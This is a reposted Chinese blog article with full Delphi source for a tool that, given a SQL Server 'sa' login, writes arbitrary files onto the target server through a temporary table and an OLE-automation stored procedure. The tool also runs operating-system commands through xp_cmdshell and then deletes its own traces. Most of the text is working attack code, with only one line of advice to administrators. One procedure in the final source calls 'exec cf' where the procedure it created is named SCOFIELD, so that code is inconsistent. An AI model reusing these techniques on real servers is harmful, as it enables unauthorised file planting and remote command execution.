首页 电脑 电脑学堂 查看内容

通过SQL SERVER远程上传文件的实现

2009-6-25 09:42 929 0

摘要:   我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方  服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽,  赶快对...
关键词: query SQL Add procedure end 过程 begin filename 文件 存储

  我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方  服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽,  赶快对SQL SERVER进行了一番研究,并整理出了这篇文章,希望对一些程序新手会有帮助。  写过数据库程序的朋友应该知道,我们可以往数据库中存取各种类型的资料数据  比如文本,整型,二进制等数据。  在这里通过SQL SERVER服务器远程上传文件的思路就是,  1、先通过SQL语句,在对方服务器上创建一临时表,  下面是创建临时表的过程:  procedure Create_temptable;  begin  try  query1.Close;  query1.SQL.Clear;  query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');  query1.SQL.Add('drop table [dbo].[temptable]');  query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');  query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');  query1.SQL.Add('[ny] [image] NULL');  query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');  query1.ExecSQL;  except  on e:exception do  raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));  end;  end;  在创建表时,我创建了两个字段,filename字段存储文件的文件名,ny字段存储文件的二进制数据。  2、往临时表内插入文件  procedure insert_file(filename:string);  var  openfile:tfilestream;  begin  try  openfile:=tfilestream.Create(filename,FmOpenRead); //创建文件流  query1.Close;  query1.SQL.Clear;  query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');  query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);  query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);  query1.ExecSQL;  finally  freeandnil(openfile);  end;  end;  3、插入文件之后,就应该让服务器,自动去读取临时表内的内容,并把表内的二进制数据转储为文件,  这样就达到了将文件上传到服务器的目的。  我们知道,存储过程一般在服务器上运行,所以这个任务就交给存储过程啦,当然这个存储过程我们要自行创建才行,  它的作用就是从临时表内读出数据并保存为文件  下面的过程就是通过SQL语句在服务器上面创建存储过程。  procedure Create_proc; //创建保存文件存储过程。  begin  try  query1.Close;  query1.SQL.Clear;  query1.SQL.Add('CREATE PROCEDURE SCOFIELD'); //存储过程名  query1.SQL.Add('as');  query1.SQL.Add('begin');  query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度  query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据  query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');  query1.SQL.Add('declare @filename varchar(200)');  query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');  query1.SQL.Add('set @sql=''select * from temptable''');  query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');  query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');  query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出上传的文件名  query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');  query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流  query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态  query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本  query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流  query1.SQL.Add('set @i=0');  query1.SQL.Add('while @Len > @i');// --循环写入数据  query1.SQL.Add('begin');  query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');  query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流  query1.SQL.Add('set @i=@i+8000');  query1.SQL.Add('end');  query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处  query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据  // query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径,不设置将存储在SYSTEM32下面  query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--保存为文件  query1.SQL.Add('exec sp_OADestroy @myRecordset');  query1.SQL.Add('exec sp_OADestroy @Stream');  query1.SQL.Add('select output=''命令成功''');  query1.SQL.Add('end');  query1.ExecSQL;  except  end;  end;  ?  4、保存文件的存储过程我们也建好了,  也到了执行它的时候了....  下面这个过程是用来执行存储过程的  procedure Create_file; //执行存储过程创建文件  begin  try  query1.Close;  query1.SQL.Clear;  query1.sql.Add('exec SCOFIELD'); //执行存储过程  query1.ExecSQL;  except  end;  end;  执行完存储过程后,我们的文件就己经上传OK啦,  不过不擦屁股可不是好习惯,  我们还应该删除刚才创建的临时表和存储过程。  删除临时表的过程:  procedure Del_temptable; //删除临时表  begin  try  query1.Close;  query1.SQL.Clear;  query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');  query1.SQL.Add('drop table [dbo].[temptable]');  query1.ExecSQL;  except  on e:exception do  raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));  end;  end;  删除存储过程的过程:  procedure del_proc;  begin  try  query1.Close;  query1.SQL.Clear;  query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');  query1.sql.Add('drop procedure [dbo].[SCOFIELD]');  query1.ExecSQL;  except  end;  end;  ?  大功告成,现在你发现只要按照上面过程的执行顺序执行,就可以顺利的通过SQL SERVER上传文件到服务器了。  上面的QUERY1对象是DELPHI中的ADOQUERY控件,如果你还不会使用,请先去翻翻书。  下面再来研究一下如何通过SQL SERVER 远程地执行DOS命令,  其实很简单,在SQLSERVER中,有一xp_cmdshell的存储过程,  通过该存储过程,我们可以在通过SQL SERVER在服务器上执行任何的DOS命令,  通过SQL语句的执行,我们可以很方便地在对方服务器上面执行DOS命令,  像这样:  query1.Close;  query1.SQL.Clear;  query1.SQL.Add('exec master..xp_cmdshell '''+ 这里存放的就是要执行的DOS命令了 +'''';);  query1.open;  一条SQL语句搞定。  如果你是一名网络管理员,为了服务器的安全请检查你的SQL SERVER是否还存在此存储过程。  如果有删除它就行了,不会有什么影响,或是卸载xpsql70.dll这个动态链接库就OK了。  ?  为此,我将自己平常用的的一个SQL查询器也加上了此功能,并贴上源代码,希望能够一些程序新手带来帮助。  下面是查询器的源代码:  unit Unit1;  //------------------------------------------------------------------------------  // Author : SCOFIELD QQ:19154194  // UpDate : 2009-05-20  // Name : SCOFIELD SQL 查询器  // Version : 1.0.0.0  //------------------------------------------------------------------------------  interface  uses  Windows, Messages, SysUtils, Forms,  StdCtrls, DB, ADODB, DBGridEh,xpman,  DBGRids,DBGridEhImpExp, Classes, Dialogs, ExtCtrls, Grids, Controls;  type  TForm1 = class(TForm)  Label1: TLabel;  Button1: TButton;  memo1: TMemo;  con1: TADOConnection;  Query1: TADOQuery;  GroupBox1: TGroupBox;  GroupBox2: TGroupBox;  GroupBox3: TGroupBox;  DBGridEh1: TDBGridEh;  Panel1: TPanel;  Button2: TButton;  Button3: TButton;  Button4: TButton;  DataSource1: TDataSource;  Button5: TButton;  Button6: TButton;  Open1: TOpenDialog;  Edit1: TEdit;  Label2: TLabel;  Label3: TLabel;  ComboBox1: TComboBox;  ComboBox2: TComboBox;  Query2: TADOQuery;  Button7: TButton;  SaveDialog1: TSaveDialog;  procedure Button1Click(Sender: TObject);  procedure Button2Click(Sender: TObject);  procedure Button5Click(Sender: TObject);  procedure Button3Click(Sender: TObject);  procedure Button4Click(Sender: TObject);  procedure Button6Click(Sender: TObject);  procedure Create_temptable; //创建临时表  procedure Del_temptable;  procedure insert_file(filename:string); //插入文件  procedure Create_file; //创建文件  procedure Create_proc;  procedure del_proc;  procedure Button7Click(Sender: TObject);  procedure ComboBox1Change(Sender: TObject);  procedure FormCreate(Sender: TObject); //删除存储过程。  private  { Private declarations }  public  { Public declarations }  end;  var  Form1: TForm1;  ip,name,pwd,sql,table:string;  implementation  {$R *.dfm}  procedure TForm1.Button1Click(Sender: TObject);  begin  if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;  //查询时显示列头标题  DBGridEh1.Options:=DBGridEh1.Options+[dgTitles] ;  try  query1.Close;  query1.SQL.Clear;  if trim(memo1.Lines.Text)='' then begin  if (combobox1.Text<>'表名') and (combobox1.text<>'') then begin  if (combobox2.text<>'字段名') and (combobox2.Text<>'') then  sql:='select '+combobox2.Text+' from '+combobox1.Text  else  sql:='select * from '+combobox1.Text;  end;  end  else  begin  sql:=memo1.Lines.Text;  end;  query1.SQL.Add(sql);  query1.OPEN;  if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;  except  on e:exception do  raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));  end;  end;  procedure TForm1.Button2Click(Sender: TObject);  begin  if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;  try  sql:=memo1.Lines.Text;  query1.Close;  query1.SQL.Clear;  query1.SQL.Add(sql);  query1.ExecSQL;  except  on e:exception do  raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));  end;  application.MessageBox ('执行成功','执行成功',mb_ok);  end;  procedure TForm1.Button5Click(Sender: TObject);  var  constr:string;  i:integer;  TableList:TStringList;  begin  TableList:=Tstringlist.Create;  constr:=PromptDataSource(Handle,'');  if constr='' then begin  button1.Enabled:=false;  button2.Enabled:=false;  button3.Enabled:=false;  button6.Enabled:=false;  exit;  end  else  begin  if pos('SQLOLEDB',constr)<>0 then begin //如果为SQLSEVER,则显示上传按钮  button3.Enabled:=true;  button6.Enabled:=true;  end  else  begin  button3.Enabled:=false;  button6.Enabled:=false;  end;  button1.Enabled:=true;  button2.Enabled:=true;  end;  edit1.Text:=constr;  try  con1.Close;  query1.Close;  con1.ConnectionString:=constr;  con1.Open;  query1.Connection:=con1;  application.MessageBox ('连接成功','连接成功',mb_ok);  except  on e:exception do  raise exception.Create(pchar('无法连接!下面是错误信息:'+#13+e.Message+#13 ))  end;  //下面开始检测表名  con1.GetTableNames(TableList,false);  combobox1.Items.Clear;  combobox1.Items.AddStrings(Tablelist);  combobox1.Text:='表名';  combobox2.Items.Clear;  combobox2.Text:='字段名';  end;  procedure TForm1.Button3Click(Sender: TObject);  begin  DBGridEh1.Options:=DBGridEh1.Options-[dgTitles] ;  try  sql:='exec master..xp_cmdshell '''+memo1.Lines.Text+'''';  query1.Close;  query1.SQL.Clear;  query1.SQL.Add(sql);  query1.open;  if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;  except  on e:exception do  raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));  end;  ?  ?  end;  procedure TForm1.Button4Click(Sender: TObject);  begin  memo1.Text:='';  end;  //上传文件到服务器  procedure TForm1.Button6Click(Sender: TObject);  begin  if not open1.Execute then exit;  //下面创建临时表  self.Create_temptable;  self.Create_proc; //创建存储过程  self.insert_file(open1.FileName); //插入文件  self.Create_file; //执行存储过程,下载文件  self.Del_temptable; //删除临时表  self.del_proc; //删除存储过程。  end;  procedure Tform1.Create_temptable; //创建临时表  begin  try  query1.Close;  query1.SQL.Clear;  query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');  query1.SQL.Add('drop table [dbo].[temptable]');  query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');  query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');  query1.SQL.Add('[ny] [image] NULL');  query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');  query1.ExecSQL;  except  on e:exception do  raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));  end;  end;  procedure Tform1.Del_temptable; //删除临时表  begin  try  query1.Close;  query1.SQL.Clear;  query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');  query1.SQL.Add('drop table [dbo].[temptable]');  query1.ExecSQL;  except  on e:exception do  raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));  end;  end;  procedure tform1.insert_file(filename:string); //插入文件  var  openfile:tfilestream;  begin  try  openfile:=tfilestream.Create(filename,FmOpenRead); //以只读方式打开;  query1.Close;  query1.SQL.Clear;  query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');  query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);  query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);  query1.ExecSQL;  finally  freeandnil(openfile);  end;  end;  procedure Tform1.Create_proc; //创建存储过程。  begin  try  query1.Close;  query1.SQL.Clear;  query1.SQL.Add('CREATE PROCEDURE SCOFIELD');  query1.SQL.Add('as');  query1.SQL.Add('begin');  query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度  query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据  query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');  query1.SQL.Add('declare @filename varchar(200)');  query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');  query1.SQL.Add('set @sql=''select * from temptable''');  query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');  query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');  query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出文件名  query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');  query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流  query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态  query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本  query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流  query1.SQL.Add('set @i=0');  query1.SQL.Add('while @Len > @i');// --循环写入数据  query1.SQL.Add('begin');  query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');  query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流  query1.SQL.Add('set @i=@i+8000');  query1.SQL.Add('end');  query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处  query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据  // query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径  query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--另存为文件  query1.SQL.Add('exec sp_OADestroy @myRecordset');  query1.SQL.Add('exec sp_OADestroy @Stream');  query1.SQL.Add('select output=''命令成功''');  query1.SQL.Add('end');  query1.ExecSQL;  except  end;  end;  procedure TForm1.Create_file; //创建文件 ,执行存储过程。  begin  try  query1.Close;  query1.SQL.Clear;  query1.sql.Add('exec cf');  query1.ExecSQL;  except  end;  end;  procedure Tform1.del_proc; //删除存储过程。  begin  try  query1.Close;  query1.SQL.Clear;  query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');  query1.sql.Add('drop procedure [dbo].[SCOFIELD]');  query1.ExecSQL;  except  end;  end;  ?  //将查询出来的数据保存为EXCEL表格  procedure TForm1.Button7Click(Sender: TObject);  var  ExcelName:string;  begin  if DBGridEh1.RowCount<=1 then exit;  SaveDialog1.Filter:='Excel 文件 (*.XLS)|*.XLS';  if (combobox1.Text<>'表名') and (combobox1.Text<>'') then  SaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1';  if SaveDialog1.Execute then begin  ExcelName:=SaveDialog1.FileName+'.XLS';  IF length(excelname)>0 THEN begin  SaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True);  application.MessageBox ('保存成功!','保存EXCEL文件成功',mb_ok+MB_ICONASTERISK);  end;  end;  end;  procedure TForm1.ComboBox1Change(Sender: TObject);  var tablename:string;  flist:Tstringlist;  begin  if combobox1.Text='' then exit;  tablename:=combobox1.Text;  if tablename='表名' then exit;  query2.Connection:=con1;  query2.Close;  query2.SQL.Clear;  query2.SQL.Add('select top 1 * from '+tablename);  query2.Open;  flist:=Tstringlist.Create;  //下面检测字段名  query2.GetFieldNames(flist);  combobox2.Items.Clear;  combobox2.Items.AddStrings(flist);  end;  procedure TForm1.FormCreate(Sender: TObject);  begin  button1.Enabled:=false;  button2.Enabled:=false;  button3.Enabled:=false;  button6.Enabled:=false;  button7.Enabled:=false;  end;  end.  程序中使用了DBGridEh控件,请自行下载,  程序写的时候没有考虑得很全面,欢迎大家对它改进,并发一份副本给我。  此查询器可以查看各种数据格式的数据库文件,并支持SQL语句的执行,自动检测出数据库内包含的各表名,字段名,  并可将查询出来的结果保存为EXCEL表格。希望能给朋友们带来工作上的帮助。  其中  COMMAND是用来执行DOS命令的,  Upload File是用来上传文件到对方SQL SERVER服务器的.
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部